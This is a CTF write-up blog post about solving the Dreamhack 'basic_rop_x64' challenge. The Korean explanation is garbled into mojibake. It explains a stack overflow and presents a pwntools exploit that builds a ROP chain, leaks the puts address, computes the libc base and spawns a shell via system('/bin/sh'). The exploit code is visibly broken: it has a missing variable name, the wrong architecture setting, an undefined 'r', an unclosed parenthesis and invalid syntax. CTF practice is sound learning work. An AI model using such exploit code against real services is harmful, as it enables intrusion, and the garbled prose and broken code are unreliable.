Jastes 2022. 12. 6. 13:10


basic_rop_x64 WriteUp

๋ฌธ์ œ ํ’€์ด

NX์™€ Partial RELRO๊ฐ€ ๊ฑธ๋ ค์žˆ๋„ค์š” ๋‹คํ–‰์ธ ์ ์€ Canary๊ฐ€ ์—†๊ธฐ์— ๊ทธ ๋ถ€๋ถ„์€
์ƒ๋žตํ•ด๋„ ๋œ๋‹ค.. ๋‹‰๊ฐ’ํ• ๊ฑฐ๋‹ˆ๊นŒ ROP๋กœ ํ’€์–ด์•ผ๊ฒ ๋„ค์š”

์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์ด์ „ ๋‚ด์šฉ์ด๋ž‘ ์œ ์‚ฌํ•œ ๋ฐฉ๋ฒ•์ด๋„ค์š” read()ํ•จ์ˆ˜์— bof๊ฐ€ ๋ฐœ์ƒํ•˜๋‹ˆ๊นŒ์š”
๊ทธ๋Ÿผ ์‹ค์ œ๋กœ ์–ด๋–ค ์‹์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹น๋˜์—ˆ๋Š”์ง€๋„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

buf์—์„  0x40์ด์ง€๋งŒ read์—์„  0x400์ด๋‚˜ ๋ฐ›๊ธฐ์— bof๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๊ณ ๋ คํ•ด์„œ
NX์ด๋ฏ€๋กœ ์™ธ๋ถ€ ์‰˜ ์ฝ”๋“œ ์‹คํ–‰ X, ๊ทธ๋ ‡๋‹ค๊ณ  ์—ฌ๊ธฐ์„œ system๊ฐ™์€ ํ•จ์ˆ˜๋„ ์ฝ”๋“œ์— ์กด์žฌ X์ด๋ฏ€๋กœ
Return Overwrite Programming์„ ํ•ด์•ผ๊ฒ ๋„ค์š”(๋‹คํ–‰์ด Lazy Binding์ด๋‹ˆ๊นŒ...)

๊ทธ๋Ÿผ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ๋ฐ›๊ธฐ์œ„ํ•ด ํ•ด๋‹น lib์ธ libc.so.6์— ๋Œ€ํ•œ ํ•จ์ˆ˜๋“ค์„ ์ด์šฉํ•˜์—ฌ got, plt์™€ ํ•จ๊ป˜
libc_base๊นŒ์ง€ ๊ตฌํ•  ์ˆ˜ ์žˆ๊ฒ ๊ตฐ์š” ๊ทธ๋Ÿผ ๊ทธ ์ •๋ณด๋ฅผ ํ† ๋Œ€๋กœ system()๊นŒ์ง€ ๊ฐ€๋Šฅ!!


Exploit design(Senario)

์—ฌ๋Ÿฌ ๋ณดํ˜ธ๊ธฐ๋ฒ• ๋•๋ถ„์— ์ €ํฌ์˜ ์„ ํƒ์ง€๋Š” ROP๋งŒ ๋‚จ์•„์žˆ๊ตฐ์š”
ROP์„ ์‹œ๋‚˜๋ฆฌ์˜ค ๊ตฌ์„ฑ์€ ์ด์ „์— ๋ดค๋˜ ์‹ค์Šต์—์„œ ์ถฉ๋ถ„ํžˆ ํ–ˆ๊ธฐ์— ์—ฌ๊ธฐ์„  ์ˆœ์„œ๋งŒ ๋‚˜์—ดํ•˜์ž๋ฉด..

Senario
  1.  

๊ทธ๋Ÿผ ์ €ํฌ๋Š” ์ด์ „์— ํ–ˆ๋˜ ๊ฑฐ์ฒ˜๋Ÿผ system()ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์–ด ์ตœ์ข…์ ์œผ๋กœ system("/bin/sh") ํ˜ธ์ถœ!
๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด ์ด๋ฒˆ์—๋Š” puts๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์‹ค์ œ ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” ๋ฐฉ์‹์€
์ด์ „์— ๋ฐฐ์› ์œผ๋ฏ€๋กœ ์ƒ๋žตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ๋ฌธ์ œ์ ์ด๋ผ๋ฉด puts_plt๋ฅผ ์‹คํ–‰ ์‹œ puts์˜ ret์œ„์— ์ธ์ž๋ฅผ ์œ„์น˜ํ•œ 32bit์™€๋Š” ๋‹ค๋ฅด๊ฒŒ
์ธ์ž์— ์ €์žฅํ•ด์•ผํ•˜๋ฏ€๋กœ ์šฐ์„ ์ˆœ์œ„๊ฐ€ ๊ฐ€์žฅ ๋†’์€ rdi์— puts_got๋ฅผ ๋„ฃ์–ด์ค˜์•ผํ•˜๋‹ค๋Š” ์ !

๊ทธ ๋‹ค์Œ์œผ๋กœ ์ €ํฌ๋Š” rop chain์„ ์ด์šฉํ•ด overwirte ํ•ด์ฃผ๊ณ  ์ด๋ฒˆ์—” bss ์˜์—ญ์„ ํ™œ์šฉํ•˜์—ฌ ์ ‘๊ทผํ• ๊ฑฐ์˜ˆ์š”
์ด๋ฒˆ์—” bss์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ e.bss() ๋ง๊ณ  ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ libc์˜ ์œ„์น˜ํ•˜๋ฏ€๋กœ libc.search๋ฅผ ํ™œ์šฉํ•ด๋ณผ๊ฑฐ์˜ˆ์š”
์ฐธ๊ณ ๋กœ bss ์˜์—ญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ด์œ ๋Š” Paritial RELRO ๋•Œ๋ฌธ์ธ๋ฐ ์ถ”ํ›„์— ๋ฐฐ์šธ ๋‚ด์šฉ์ด๋‹ˆ๊นŒ ๋„˜์–ด๊ฐ€์ฃ 


Exploit

๋ฉ”๋ชจ๋ฆฌ์˜ ํฌ๊ธฐ๋„ ์•Œ์•„๋ณด์•˜๊ณ  64bit์˜ OS์ด๋ฏ€๋กœ
๊ทธ๋Ÿฌ๊ธฐ์— rop์˜ ํ˜•์‹์ธ return gadget์„ ์ด์šฉํ•ด ํ’€์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋‹ค์–‘ํ•œ gadget ๋ฐฉ์‹์ด ์žˆ์œผ๋‚˜ ์‹œ๊ฐ„ ๊ด€๊ณ„์ƒ ํˆด์„ ์‚ฌ์šฉํ•˜์˜€์Šต๋‹ˆ๋‹ค.
์ €ํฌ๊ฐ€ ์ด์ „์— pwntools๋ฅผ ์‚ฌ์šฉํ•ด check_lib์˜ ํ˜•์‹์œผ๋กœ ์•Œ์•„๋ณด์•˜๋Š”๋ฐ
์—ฌ๊ธฐ์„œ๋Š” ๊ทธ๋Ÿฐ ๋ฌธ์ œ๊ฐ€ ์—†๋Š” ๋“ฏ ์‹ถ๊ธฐ์— ๊ทธ๋ƒฅ ํ’€์–ด๋ดค๋‹ค๋Š” ์  ์œ ์˜ํ•ด์ฃผ์„ธ์š” ใ… 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!usr/python3
from pwn import *
import sys
 
Host = 'host3.dreamhack.games'
File_Name = './basic_rop_x64'
 
if(args['REMOTE']):
    p = remote(Host, sys.argv[1])
else:
    p = process(File_Name)
 
#default Setting
= ELF(File_Name, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context(arch='i386', os='linux')
#context.cyclic_alphabet = "A"
#context.log_level = 'debug'
#gdb.attack()
 
#def slog(func_name, func_addr): return success(" : ".join([func_name, hex(func_addr)]))
 
def main():
    #ROP default setting
    puts_plt = e.plt['puts']
    puts_got = e.got['puts']
 
    pop_rdi = 0x400883 #pop rdi; ret
 
    '''payload in buffer(buf~rbp : 0x40 | sfp : 0x8 | read_plt | puts_plt_ret.. 0x4 | puts_got 0x4)'''
    
    payload = b'A'*0x40 + b'B'*0x8
 
    payload += p64(pop_rdi) + p64(puts_got)
    payload += p64(puts_plt) + p64(e.sym['main'])
 
        p.send(payload)
    p.recvuntil('a'*0x40)
    leak = u64(r.recv(6)+b'\x00\x00')
 
    lib_base = leak - libc.symbols['puts']
    log.info(f'leak : {hex(leak)}')
    log.info(f'lib_base : {hex(lib_base}')
 
    system = lib_base+libc.sym['system']
    binsh = lib_base+list(libc.search(b'/bin/sh'))[0]  #libc ์•ˆ์— ์žˆ๋Š” /bin/sh์˜ ์‹ค์ œ์ฃผ์†Œ๋ฅผ ๊ตฌํ•จ
    
    payload2 = b'a'*0x48 + p64(pop rdi) + p64(binsh) + p64(system)
    p.send(payload2)
    p.interactive()
 
if __name__ == '__main__':
    main()
 
cs

exploit ์ฝ”๋“œ๋ฅผ ๊ฐ„๋‹จํžˆ ์„ค๋ช…ํ•˜์ž๋ฉด ์šฐ์„  buf์˜ ์‹œ์ž‘๋ถ€ํ„ฐ rbp๊นŒ์ง€ ๊ทธ๋ฆฌ๊ณ  sfp๊นŒ์ง€ ์ฑ„์šด ๊ฒƒ์ด ์‹œ์ž‘์œผ๋กœ
ret ๋ถ€๋ถ„์„ puts()์˜ got๋กœ ๋ฎ์—ˆ์Šต๋‹ˆ๋‹ค.(์ฆ‰, rdi์˜ ์ธ์ž๋ฅผ ํ†ตํ•ด ๋ฎ์—ˆ์ง€์š”)
๊ทธ๋ž˜์„œ main์ด ์‹œ์ž‘๋˜๋ฉด ์ž์—ฐ์Šค๋Ÿฝ๊ฒŒ puts๊ฐ€ ์‹œ์ž‘๋˜๋ฉด์„œ ํ•ด๋‹น gadget์˜ ํ•„์š”ํ•œ ์ฃผ์†Œ๋ฅผ ๋„ฃ์—ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด lib์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธ ํ•ด๋‹น ๋‚˜๋จธ์ง€ ์ฃผ์†Œ๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์„ธ๋ถ€์ ์ธ ๋‚ด์šฉ์€
์ด์ „์— ํ™•์ธํ•ด๋ดค์œผ๋ฏ€๋กœ ๊ฐ„๋‹จํžˆ lib base = ์‹ค์ œ ์ฃผ์†Œ - offset์ธ ํ˜•ํƒœ์˜ˆ์š”
๊ทธ๋Ÿผ system์˜ ์ฃผ์†Œ๋Š” lib_base + system offset์„ ํ•˜๋ฉด ๋˜๊ฒ ์ฃ 

๋‚˜๋จธ์ง€๋Š” ์ฐฌ์ฐฌํžˆ chain rtl๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ puts์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธ ํ›„ system()์ฃผ์†Œ๋ฅผ got๋กœ ret
puts()์— bss(์ž„์‹œ ๋ฐ์ดํ„ฐ ๊ฐ’ ๋“ฑ)์— "/bin/sh" ๋ฌธ์ž์—ด์„ ๋‹ด์•„์ฃผ๊ณ  libc.search(b'/bin/sh')[0]์œผ๋กœ ์‹ค์ œ ์ฃผ์†Œ!
์„ธ๋กœ์šด payload2๋ฅผ ๋งŒ๋“ค์–ด์„œ ๋„ฃ์–ด์ฃผ๋Š” ํ˜•์‹์œผ๋กœ ์งฏ์Šต๋‹ˆ๋‹ค.


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€